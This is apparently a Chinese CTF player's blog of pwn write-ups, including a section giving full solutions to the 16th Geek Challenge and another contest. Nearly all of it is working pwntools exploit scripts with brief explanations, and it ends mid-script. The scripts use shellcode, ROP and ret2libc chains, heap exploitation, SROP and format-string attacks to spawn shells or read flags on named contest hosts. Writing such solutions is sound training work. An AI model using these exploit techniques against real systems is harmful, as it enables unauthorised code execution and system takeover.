shellcode = asm(shellcode)

print(len(shellcode))

# s(shellcode)
# itr()
# exit(0)

STEP = asm('add bl, 1') # 80 c3 01
INC = asm('add byte ptr [rbx], 1') # 80 03 01

sc = bytearray(asm('mov rbx, rdx')) # 48 89 d3
generated = bytearray(asm('mov rbx, rdx'))

def inc(index):
    generated[index] = (generated[index] + 1) & 0xFF

i = 0
for byte in shellcode:
    while generated[i] != byte:
        inc(i)
        sc.extend(INC)
        generated.extend(INC)
    
    if i != len(shellcode) - 1:
        sc.extend(STEP)
        generated.extend(STEP)
    i += 1

sc.extend(asm('jmp rdx')) # ff e2

sla(b'2):', sc.hex())

pause()

STEP = asm('inc dl') # fe c2
INC = asm('inc byte ptr [rdx]') # fe 02

sc = bytearray(asm('add dx,0x2929')) # 66 81 c2 29 29
generated = bytearray(b'\x00'*0x3000)

def inc(index):
    generated[index] = (generated[index] + 1) & 0xFF

i = 0
for byte in shellcode:
    while generated[i] != byte:
        inc(i)
        sc.extend(INC)
    
    if i != len(shellcode) - 1:
        sc.extend(STEP)
    i += 1

sla(b'2):', (sc + (0x2929-len(sc))//2*STEP).hex())

itr()

# flag{1t_i5_Ha2d_r1ght?_029a3dbf-61d0-4e94-8863-da11296a0d04_NyPXKByB}

failed

漏洞在add_note的size可以为负数或很大的数，且没有检查malloc是否成功

show_note中看似size为负数时write长度会为-1，无法正常输出

但实际上size为-1时长度为8，因为这里的条件赋值用的是cmovbe（below or equal，无符号）

于是可以绕过\0截断，泄露出heap地址

然后泄露libc基址

当size为很大的数（地址）时，malloc会失败，这样就可以在任意地方写一个\0

数字够大时，read不会尝试读取，但这里会读取，所以要输入一个数字+换行，否则之后的scanf会失败

打了一个常规的消除prev_inuse位+house of apple2，没有用到后门

如果知道程序基址的话，也能直接把user_logging改为0使用后门

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './admin'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   23936
    target = '60.205.163.215'
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
n2b     = lambda x                  :str(x).encode()

registered = []

def menu(i):
    sla(b'> ', n2b(i))

def reg(x):
    menu(1)
    sla(b'User name: ', n2b(x))
    sla(b'Password: ', n2b(x))
    registered.append(x)

def login(x):
    menu(2)
    sla(b'User name: ', n2b(x))
    sla(b'Password: ', n2b(x))

def logout():
    menu(5)

def switch(i):
    if i not in registered:
        reg(i)
    login(i)

def add(i, size, content = b''):
    switch(i)
    menu(1)
    sla(b'Size: ', n2b(size))
    ru(b'Content: ')
    if content != b'':
        s(content)
    logout()

def edit(i, content):
    switch(i)
    menu(2)
    sa(b'Content: ', content)
    logout()

def show(i):
    switch(i)
    menu(3)
    ru(b'Content: ')
    content = r(8)
    logout()
    return content

def free(i):
    switch(i)
    menu(4)
    logout()


# debug('brva 0x002819')
add(10, -1)
free(10)
add(10, -1)
heap = uu64(show(10)[:6]) << 12
leak('heap')

for i in range(1, 10):
    reg(i)

add(1, 0x410, b'\x00')
add(2, 0x100, b'\x00')
free(1)
add(1, 0x410, b'\x00')

libc.address = uu64(show(1)[:6]) - 0x203b00
leak('libc.address')

add(3, 0x417, b'\x00')
add(4, 0x4f7, b'\x00')
add(5, 0x17, b'\x00')

edit(2, p64(heap + 0xc30)*2)
edit(3, p64(heap + 0xb20)*2+p64(0)*2*64+p32(0x420))

# debug('b free')
add(9, heap+0x1058, b'6\n')
free(4)
add(6, 0x107, b'\x00')
add(7, 0x107, b'\x00')
add(8, 0x107, b'\x00')

free(8)
free(6)
stdout = libc.sym['_IO_2_1_stdout_']
edit(3, p64((heap>>12) ^ stdout))
add(6, 0x107, b'\x00')

fake_io = flat(
    {
        0x0: b"  sh;",
        0x28: libc.sym['system'],
        0x88: heap,    # lock writable addr
        0xA0: stdout - 0x40,   # _wide_data
        0xD8: libc.sym['_IO_wfile_jumps'] - 0x20,
    },
    filler=b"\x00"
)

debug('brva 0x002819')

switch(8)
menu(1)
sla(b'Size: ', n2b(0x107))
ru(b'Content: ')
s(fake_io)

# debug()

itr()

Onlyfgets

一开始写了一个ret2dl，把system解析到got.fgets上

这个脚本本地能通，但是docker和远程都不通

（不是patchelf的问题）

没搞清楚docker内的调试，花费了很多时间，仍然不知道问题

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './onlyfgets'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 0
# port =   8889
# target = '127.0.0.1'
port =   16538
target = '60.205.163.215'
if choice:
    p = remote(target, port)
else:
    # p = process(file)
    p = process(["./ld-linux-x86-64.so.2", "--library-path", "./", file])

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)

def get_pid(process_name):
    ps_output = subprocess.check_output(['ps', '-a']).decode('utf-8')
    lines = ps_output.splitlines()
    for line in lines:
        if process_name in line:
            pid = line.split()[0]
            if pid.isdigit():
                return pid
    return None
 
def gdbremote(pid, name = 'n1j:onlyfgets', port = '10000', ip = '127.0.0.1'):
    os.system("gnome-terminal -- bash -c \"docker exec -it " + name + " gdbserver :" + port + " --attach " + pid + " \"")
    os.system("gnome-terminal -- bash -c \"gdb -ex \\\"target remote " + ip + ":" + port + "\\\" \"")

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

pause()

# debug('set follow-fork-mode parent\nb *0x4011F0')
# gdbremote(get_pid("onlyfgets"))

pause()

ropp = ROP(elf)
bss = elf.bss(0xb00)

ret2dl = Ret2dlresolvePayload(elf, 'system', [], 0x404b60, elf.got['fgets'])
ropp.ret2dlresolve(ret2dl)

payload = b'A'*32 + p64(bss) + p64(0x4011DD)
assert b'\x0a' not in payload
sl(payload)

pause()

payload = b'A'*32 + p64(bss-0x300) + p64(0x4011DD) + ret2dl.payload + b'sh\x00'
assert b'\x0a' not in payload
sl(payload)

pause()

payload = b'A'*32 + p64(bss+0x88-0x10)
payload += ropp.chain() + p64(0x4011DD)
assert b'\x0a' not in payload
sl(payload)

itr()

后来搜了一下，发现有原题...然后去学习了一下

大部分ELF都有__do_global_dtors_aux，对这条指令从中间进入可以解析为一个magic gadget

如果程序有__libc_csu_init，就可以轻易控制rbp和rbx，从而进行任意地址写，不过这里没有

这题特殊点在于fgets执行后，rdx会被设置为stdin的_flag (0xfbad208b)

同时有两个控制rbx的gadget

而libc中execve在alarm下方，ssignal下方有syscall <SYS_rt_sigreturn>

于是可以结合三个gadget，把got.alarm改为execve，got.signal改为syscall sigreturn

注意最后直接跳转到plt.signal，避免压入的返回地址对srop造成影响

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
# port =   8889
# target = '127.0.0.1'
port =   54556
target = '60.205.163.215'
if choice:
    p = remote(target, port)
else:
    p = process(file)
    # p = process(["/home/ctf/onlyfgets/ld-linux-x86-64.so.2", "--library-path", "/home/ctf/onlyfgets", "/home/ctf/onlyfgets/onlyfgets"])

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

# debug('b *0x4011F0')

pause()

ret = 0x4011fd
pop_rdi_ret = 0x4011fc
pop_rbp_ret = 0x40114d
xor_rbx_ret = 0x4011FE
add_bl_dh_ret = 0x4010ae         # rbx ebx bx bh/bl | rdx edx dx dh/dl
add_rbp_3d_ebx_ret = 0x40114c

# rdx = 0xfbad208b | dh = 0x20
# rbx = 0 => 0xc0

# 0x73c31efcc540 <alarm>
# + 0xb40 = 0xc0*15
# 0x73c31efcd080 <execve>

payload = [b'\x00'*0x28]
payload += [add_bl_dh_ret]*6
payload += [pop_rbp_ret, elf.got['alarm']+0x3d]
payload += [add_rbp_3d_ebx_ret]*15
payload += [elf.sym['main']]

sl(flat(payload))
pause()

# rdx = 0xfbad208b | dh = 0x20
# rbx = 0 => 0x80

# 0x73c31ef24420 <ssignal>
# + 0x100 = 0x80*2
# 0x73c31ef24520  mov rax, 0xf
# 0x73c31ef24527  syscall <SYS_rt_sigreturn>

payload = [b'\x00'*0x28, xor_rbx_ret]
payload += [add_bl_dh_ret]*4
payload += [pop_rbp_ret, elf.got['signal']+0x3d]
payload += [add_rbp_3d_ebx_ret]*2
payload += [elf.sym['main']]

sl(flat(payload))
pause()
debug('b *0x4011F0')
bss = 0x404500

sl(flat(b'\x00'*0x20, bss-0x20, 0x4011DD))
pause()

frame = SigreturnFrame()
frame.rsp = bss
frame.rdi = 0x4044c0
frame.rip = 0x4011cd

payload = flat(b'/bin/sh\x00', b'\x00'*0x20, elf.plt['signal'], bytes(frame))
sl(payload)

itr()

f0rm@t? （赛后复现）

应该先fuzz一下的，而不是通过静态分析直接看出漏洞

首先可以发现发送262个%p程序会正常结束，但发送263个%p会段错误

在printf结束处下断点，发现返回地址变成了栈上残留的一个libc函数地址

其实这是printf的参数表溢出，在合适地方放置参数就可以控制rbp和返回地址

（其实已经禁了%263$p，但没有禁止直接用很多%p推进，这个技巧还有一个很巧妙的作用...）

找到了一个附近的栈返回

而前面已经知道栈地址，能够控制rbp，现在只需一个1/16的爆破就可以让程序返回main

（一般栈上会留一个main地址）

刚刚的printf已经泄露出libc基址，直接ret2libc

from pwn import *

context(arch='amd64', os='linux')
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './chal'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 0
if choice:
    port =   0
    target = ''
    p = remote(target, port)
else:
    p = process(file, aslr=True)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

# debug('brva 0x0015D8')

ru(b'1 2 256 ')
stack = int(rl(), 16)
leak('stack')

payload = b'%p.'*263
payload = payload.ljust(8*(257-6), b'A')
payload += p64(stack+0x10c8-8)*6
payload += p16(0xf572)

ru(b'...\n> ')
s(payload)

libc.address = int(r(50).decode().split('.')[2], 16) - 0x11ba91
leak('libc.address')

payload = b'%p.'*265
payload = payload.ljust(8*(257-6), b'A')
payload += p64(stack+0x10c8-8)*6
payload += p64(libc.address + 0x10f78b)
payload += p64(libc.search(b'/bin/sh\x00').__next__())
payload += p64(libc.sym['system'])

ru(b'...\n> ')
s(payload)

itr()

第十六届极客大挑战 Pwn 全题解

Mon, 01 Dec 2025 00:00:00 GMT

参加的第二个CTF比赛，终于是 ak Pwn 了，也学到了许多新东西

和校内全栈神mxym一起打的，最后到了总榜第三名

唯一抢到的一血是 PWN_GAME

old_rop

简单的ret2csu

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   31452
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

bss = elf.bss(0x100)

payload = b'\x00'*(0x80+8) + p64(0x4012CA)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(elf.got['read'])
payload += p64(6)
payload += p64(elf.got['write'])
payload += p64(0x4012B0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(0x100)
payload += p64(elf.got['read'])
payload += p64(0x4012B0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(bss + 8)
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(0x4012B0)
debug()
sa(b'!\x00\n', payload)

libc_base = uu64(r(6)) - libc.sym['read']
leak('libc_base')

s(p64(libc_os(libc.sym['execve'])) + b'/bin/sh\x00')


itr()

Mission Calculator

基础pwntools使用

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './calc'
elf = ELF(file)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

choice = 1
if choice:
    port =   31552
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x


sa(b'Press any key to start...', b'\n')

for i in range(50):
    problem = ru(b'=').decode().split(': ')[1].split(' =')[0]
    sl(str(eval(problem)).encode())


itr()

Mission Cipher Text

简单的ret2text

用cat flag >&2输出到标准错误流

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

choice = 1
if choice:
    port =   32133
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x


sla(b'choice >', '2')

# debug()

sa(b'feedback:', b'\x00'*(0x20+8) + p64(0x4014AA) + p64(0x4014AB))

itr()

# cat flag >&2

Mission Exception Registration

读入覆盖+ret2libc

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   32078
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x


sla(b'choice >>', b'1')
sa(b'name:\n', b'ItsFlicker')
sa(b'password:\n', b'\x00'*33)

sla(b'choice >>', b'3')
sa(b'password:\n', b'\x00'*32)

ru('WELCOME, ADMINISTRATOR.\n')
libc_base = uu64(r(6)) - libc.sym['puts']
leak('libc_base')

sla(b'choice >>', b'2')
sa(b'feedback:\n', b'\x00'*(0x10+8) + p64(libc_os(0x029cd6)) + p64(libc_os(0x02a3e5)) + p64(libc_os(0x1d8698)) + p64(libc_os(libc.sym['system'])))


# debug()

itr()

次元囚笼

使用strcpy溢出，所以不能有\0把payload截断

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
# libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   32710
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

sla(b'>> : ', b'3')
sa(b'love \n', b'love\x00')

sla(b'>> : ', b'1')
sa(b'forever\n', b'A'*(0x20+8) + p64(0x4012D9))

sla(b'>> : ', b'2')
debug()
sa(b'prayer', b'1\x00')



itr()

Mission Transponder

首先将Canary最低位\0覆盖，泄露Canary，然后改返回地址最低位，重新进入函数

这一次泄露pie，进入另一个函数，用fmt泄露libc_base

然后orw

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   31067
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

sa(b'data:\n', b'A'*(40+1))
ru(b'A'*41)
canary = uu64(r(7))*256
leak('canary')

stack = uu64(r(6))
leak('stack')

sa(b'logs:\n', b'A'*40 + p64(canary) + b'\x00'*8 + p8(0x92))

sa(b'data:\n', b'A'*(0x30+8))
ru(b'A'*0x38)
pie = uu64(r(6)) - (elf.sym['main'] + 19)
leak('pie')
sa(b'logs:\n', b'A'*40 + p64(canary) + b'\x00'*8 + p64(pie + elf.sym['repeat_error']))

sa(b'data:\n', b'%30$p\n\x00')
libc_base = int(p.recvline(keepends=False).decode(), 16) - (libc.sym['__libc_start_main'] + 137)
leak('libc_base')
s(b'A'*8 + p64(canary) + b'\x00'*8 + p64(pie + elf.sym['repeater']))

rax = libc_os(0x0d4f97)
rdi = libc_os(0x102dea)
rsi = libc_os(0x053887)
mov_rdx_rax = libc_os(0x128507)
syscall = pie + 0x0011DD
bss_start = pie + elf.bss(0x100)

sa(b'data:\n', b'\x00')
debug()
payload = b'A'*40 + p64(canary) + b'\x00'*8 + p64(rdi) + p64(0) + p64(rsi) + p64(bss_start) + p64(rax) + p64(6) + p64(mov_rdx_rax) + p64(rax) + p64(0) + p64(syscall)
payload += p64(rdi) + p64(bss_start) + p64(rsi) + p64(0) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(2) + p64(syscall)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss_start + 0x100) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(0) + p64(syscall)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss_start + 0x100) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(1) + p64(syscall)
s(payload)
sleep(1)
s(b'/flag\x00')

itr()

Mission Ember

每次操作改一点栈帧，最后无限读，orw

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   31579
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

shellcode = '''
pop rax
mov al, 0x60
pop rsi
push rax
ret
'''
# debug()
sa(b'HQ', asm(shellcode))

shellcode = '''
pop rax
mov al, 0x60
push rsi
push rax
ret
'''
# debug()
s(asm(shellcode))

shellcode = '''
pop rax
pop rax
pop rsi
pop rdx
syscall
'''
# debug()
s(asm(shellcode))

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, 0x408000, 0x40)
shellcode += shellcraft.write(1, 0x408000, 0x40)
debug()
s(b'\x90'*6 + asm(shellcode))

itr()

Mission Absolutely Abyss

输入负数绕过检查，然后直接改返回地址位置

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
# libc = ELF('./libc.so.6')

choice = 0
if choice:
    port =   30683
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

debug()
sla(b'array:\n', b'-1') # 0xffffffff abs32 = 1

sla(b'choice:\n', b'1')
sla(b'write: \n', b'14')
sla(b'num\n', str(0x4007DA).encode())

sla(b'choice:\n', b'1')
sla(b'write: \n', b'15')
sla(b'num\n', b'0')

sla(b'choice:\n', b'3')

itr()

血池轮回

为什么需要9天？

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   30913
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

debug('b *0x40142D\nc\n')
shellcode = '''
pop rbx
push rbx
ret
'''
sa(b'? ', b'n')
sa(b'!', asm(shellcode))

shellcode = '''
mov bx, 0x13F8
ret
'''
sa(b'? ', b'n')
sa(b'!', asm(shellcode))

shellcode = '''
mov dl, 0xff
push rbx
ret
nop
'''
sa(b'? ', b'n')
sa(b'!', asm(shellcode))

s(asm(shellcraft.sh()))


itr()

null_file

为了绕过munmap，必须把栈上的len改为0

printf中，可以用%*XX$c输出指定数量的字符

由于栈地址的数值过大，%hn的结果似乎是"反码"？所以输出两次

这样，只需要爆破栈地址一个字节

from pwn import *
import struct

context(arch='amd64', os='linux')
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
# libc = ELF('./libc.so.6')

shellcode = asm(shellcraft.sh())
if len(shellcode) % 2 != 0:
    shellcode += b'\x90'
words = struct.unpack('<' + 'H' * (len(shellcode)//2), shellcode)

def solve(p):
    
    s       = lambda data               :p.send(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    rl      = lambda num=4096           :p.recvline(num)
    itr     = lambda                    :p.interactive()

    def debug(cmd=''):
        if choice==1:
            return
        gdb.attach(p, gdbscript=cmd)
    # debug('b *$rebase(0x0014F2)\nc\nstack 45')
    sa(b'actions: \n', f'%*19$c%19$hn\n'.encode())
    sa(b'actions: \n', f'%*39$c%19$hn\n'.encode())
    sa(b'actions: \n', f'%{0x20}c%19$hhn\n'.encode())
    sa(b'actions: \n', f'%39$hn\n'.encode())


    for i in words:
        sa(b'actions: \n', f'%{i}c%11$hn\n'.encode())


    sa(b'actions: \n', f'%{0x10}c%19$hhn\n'.encode())
    
    sa(b'actions: \n', f'%8c%39$hhn\n'.encode())
    # gdb.attach(p)
    sa(b'actions: \n', b'\n'*16)
    s(b'cat /flag\n')
    return rl()


for i in range(100):
    choice = 1
    if choice:
        port =   31352
        target = 'geek.ctfplus.cn'
        p = remote(target, port)
    else:
        p = process(file, aslr=True)
    try:
        print(solve(p))
        break
    except:
        p.close()

Mission Shadow

annontation存在off by one

按下图布局：（其实有一步是冗余的，但我懒得重新搞了）

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   30337
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
